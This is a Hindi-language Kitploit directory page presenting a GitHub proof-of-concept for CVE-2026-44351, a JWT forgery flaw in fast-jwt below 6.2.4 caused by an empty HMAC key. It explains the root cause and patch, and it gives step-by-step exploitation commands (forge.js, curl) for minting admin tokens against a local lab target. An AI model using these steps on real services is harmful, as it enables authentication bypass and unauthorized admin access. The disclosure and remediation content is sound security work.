Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-44351-poc — CVE-2026-44351 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो fast-jwt <6.2.4 में एक ऑथेंटिकेशन बायपास है, जहाँ एक खाली HMAC key हमलावरों को मनमाने JWTs बनाने की अनुमति देती है जिन्हें वैध के रूप में स्वीकार किया जाता है। | Kitploit
उपकरण/GitHubGitHub/isaca0315/cve-2026-44351-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षाक्रिप्टोग्राफीप्रमाणीकरणलर्निंग और शिक्षारेड टीमिंगAPI सुरक्षा
GitHubisaca0315/cve-2026-44351-poc

CVE-2026-44351-poc

CVE-2026-44351 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो fast-jwt <6.2.4 में एक ऑथेंटिकेशन बायपास है, जहाँ एक खाली HMAC key हमलावरों को मनमाने JWTs बनाने की अनुमति देती है जिन्हें वैध के रूप में स्वीकार किया जाता है।

612 महीने पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें
साझा करें

CVE-2026-44351 — fast-jwt में खाली Secret के कारण JWT फ़ोर्जरी

fast-jwt (6.2.4 से पहले के संस्करणों) में प्रमाणीकरण बायपास (auth bypass) का PoC, जो किसी भी अप्रमाणित हमलावर को मनमाने JWTs फ़ोर्ज करने की अनुमति देता है और जिन्हें लक्ष्य एप्लिकेशन द्वारा प्रामाणिक के रूप में स्वीकार किया जाता है।

CVECVE-2026-44351
AdvisoryGHSA-gmvf-9v4p-v8jc
CWECWE-1391 (कुंजियों का अनुचित सत्यापन) / CWE-287 (अनुचित प्रमाणीकरण) / CWE-326 (अपर्याप्त एन्क्रिप्शन शक्ति)
CVSS 3.19.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Vulnerablefast-jwt < 6.2.4 (6.2.3 के विरुद्ध सत्यापित)
Patch[email protected] — FAST_JWT_INVALID_KEY के साथ खाली HMAC कुंजियों को अस्वीकार करता है

📄 विस्तृत तकनीकी दस्तावेज़ीकरण (वास्तविक कोड के साथ root cause, हमले की शारीरिक रचना, पैच का विश्लेषण): docs/CVE-2026-44351.md

सारांश

fast-jwt कुंजी रिज़ॉल्यूशन (key) के रूप में एक अतुल्यकालिक फ़ंक्शन पास करने की अनुमति देता है — JWKS सर्वर के साथ एकीकृत करते समय विशिष्ट पैटर्न:

const verify = createVerifier({
  // पुस्तकालय द्वारा ही प्रलेखित मानक JWKS पैटर्न
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

जब आने वाले टोकन का kid मौजूद नहीं होता, तो वह पैटर्न '' लौटाता है। fast-jwt खाली स्ट्रिंग को शून्य लंबाई के Buffer (Buffer.alloc(0)) में परिवर्तित करता है, इसे crypto.createSecretKey को सौंपता है (Node इसे चुपचाप स्वीकार करता है) और खाली कुंजी के साथ HMAC का उपयोग करके टोकन की हस्ताक्षर सत्यापित करता है।

चूंकि HMAC-SHA256(key='', input='<header>.<payload>') किसी के द्वारा भी गणना योग्य है, हमलावर को वास्तविक रहस्य जानने की आवश्यकता नहीं है: वह अपनी इच्छानुसार दावों (sub, admin, roles, scopes, iss, aud, …) के साथ एक टोकन फ़ोर्ज करता है और सत्यापनकर्ता इसे प्रामाणिक के रूप में लौटाता है।

यह केवल अतुल्यकालिक कुंजी रिज़ॉल्यूशन पथ (फ़ंक्शन) को प्रभावित करता है। सिंक्रोनस कॉन्फ़िगरेशन key: '' सही ढंग से अस्वीकार किया जाता है क्योंकि createVerifier falsy मानों पर शॉर्ट-सर्किट करता है।

दोष का तकनीकी विवरण

दोष src/verifier.js में निहित है। async key resolver के प्रवाह में:

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // शाखा !publicKeyPemMatch && !X509  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // HMAC परिवार असाइन किया जाता है
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (लंबाई जांच के बिना)
  verifyToken(currentKey, decoded, validationContext)
})

और हस्ताक्षर src/crypto.js के साथ सत्यापित किया जाता है:

if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', Buffer.alloc(0)) काम करता है, इनपुट का HMAC हमलावर द्वारा गणना योग्य है और फ़ोर्ज किया गया टोकन स्वीकार कर लिया जाता है।

हमला मैट्रिक्स ([email protected] के साथ सत्यापित)

Resolver shapealgorithmsHS256HS384HS512
async () => ''(default)✅ स्वीकार करता है✅ स्वीकार करता है✅ स्वीकार करता है
(d, cb) => cb(null, '')(default)✅ स्वीकार करता है✅ स्वीकार करता है✅ स्वीकार करता है
async d => keys[d.header.kid] || ''(default)✅ स्वीकार करता है✅ स्वीकार करता है✅ स्वीकार करता है
async () => ''['HS256','HS384','HS512']✅ स्वीकार करता है✅ स्वीकार करता है✅ स्वीकार करता है
async () => ''['HS256','RS256']✅ स्वीकार करता हैINVALID_ALGINVALID_ALG
async () => ''['RS256']INVALID_KEYINVALID_KEYINVALID_KEY

⚔️ Red Team चरण-दर-चरण (100% मैनुअल शोषण)

हमला हाथ से निष्पादित किया जाता है: एकमात्र आर्टिफ़ैक्ट forge.js है, जो खाली कुंजी के साथ हस्ताक्षरित JWT बनाता है। भेजना और सत्यापन curl के साथ किया जाता है।

चरण 0 — लक्ष्य अवसंरचना शुरू करें (Docker)

docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target तैयार

Docker केवल कमजोर target चलाने के लिए है, शोषण के लिए नहीं। बाकी हमला मैनुअल है।

चरण 1 — पुनरावलोकन

ऐप का एक वास्तविक JWT पहचानें (उदाहरण के लिए एक प्रमाणित अनुरोध से) और हस्ताक्षर को सत्यापित किए बिना उसका header/payload निरीक्षण करें:

node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

सत्यापित करने योग्य बिंदु:

  • header एक kid प्रकट करता है → ऐप kid द्वारा कुंजियाँ हल करता है (संभवतः JWKS)।
  • यदि संरक्षित endpoint एक टूटे kid को 401 के साथ अस्वीकार करता है लेकिन invalid algo/invalid key प्रस्तुत नहीं करता, तो resolver संभवतः keys[kid] || '' करता है।

चरण 2 — JWT फ़ोर्ज करें (खाली secret)

node forge.js                          # स्क्रीन पर टोकन + तैयार curl कमांड
node forge.js -o /tmp/jwt.txt          # टोकन को फ़ाइल में सहेजता है
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

स्क्रिप्ट हमेशा चुने गए हेडर {alg, typ, kid} और payload को खाली कुंजी (secret: "") के साथ HMAC-SHA* का उपयोग करके हस्ताक्षरित करती है, ऐप के वास्तविक रहस्य को जाने बिना।

चरण 3 — टोकन का मैनुअल प्रेषण

कॉपी किए गए टोकन के साथ (या फ़ाइल से पढ़ा गया):

TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

यदि लक्ष्य कमजोर है तो अपेक्षित प्रतिक्रिया:

HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

चरण 4 — सत्यापित करें / तुलना करें

मामलाकमांडपरिणाम
टोकन के बिनाcurl -si http://localhost:3000/admin401 Unauthorized
अमान्य टोकनcurl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C"401 Unauthorized
फ़ोर्ज किया गया टोकनcurl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"200 OK + admin पहुँच

बायपास दावों को बदलकर और चरण 2–3 दोहराकर पुनरुत्पादन योग्य है (शोषण के बाद: role, scopes, अन्य sub, आदि तक बढ़ाना)।


सत्यापन डेमो (वैकल्पिक)

कमजोर और पैच किए गए संस्करण के बीच त्वरित तुलना:

npm run demo        # [email protected] -> फ़ोर्ज किया गया टोकन स्वीकृत
npm run fixed       # [email protected] -> फ़ोर्ज किया गया टोकन अस्वीकृत (FAST_JWT_INVALID_KEY)

Docker में भी:

docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

उपचार

  • [email protected] या उच्चतर में अपडेट करें: prepareKeyOrSecret शून्य लंबाई की HMAC कुंजियों को FAST_JWT_INVALID_KEY के साथ अस्वीकार करता है।
  • अतुल्यकालिक resolver में, fallback के रूप में ''/Buffer.alloc(0) न लौटाएँ: undefined/null लौटाएँ और उस मामले को कुंजी रिज़ॉल्यूशन त्रुटि के रूप में व्यवहार करें।
  • पहले से समझौता किए गए परिनियोजन में, संक्रमण के दौरान प्रक्रियाओं को पुनः आरंभ करें या cache: false का उपयोग करें: सत्यापन कैश (डिफ़ॉल्ट रूप से 1000 प्रविष्टियाँ / 600s TTL) पहले स्वीकार किए गए फ़ोर्ज किए गए टोकन को बनाए रख सकता है।
  • गहराई में रक्षा: RFC 2104 की सिफारिश लागू करें (HMAC कुंजी की लंबाई ≥ हैश के आउटपुट आकार)।

फ्रंटएंड (वास्तविक ऐप मोड)

सर्वर एक प्रशासन कंसोल (public/) भी प्रदान करता है ताकि शोषण एक वास्तविक ऐप पर दिखाई दे: कॉर्पोरेट लॉगिन, दावों के साथ डैशबोर्ड, admin एक्सेस पैनल और एक एकीकृत Red Team दृश्य।

टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    370
  • 4

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    289

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →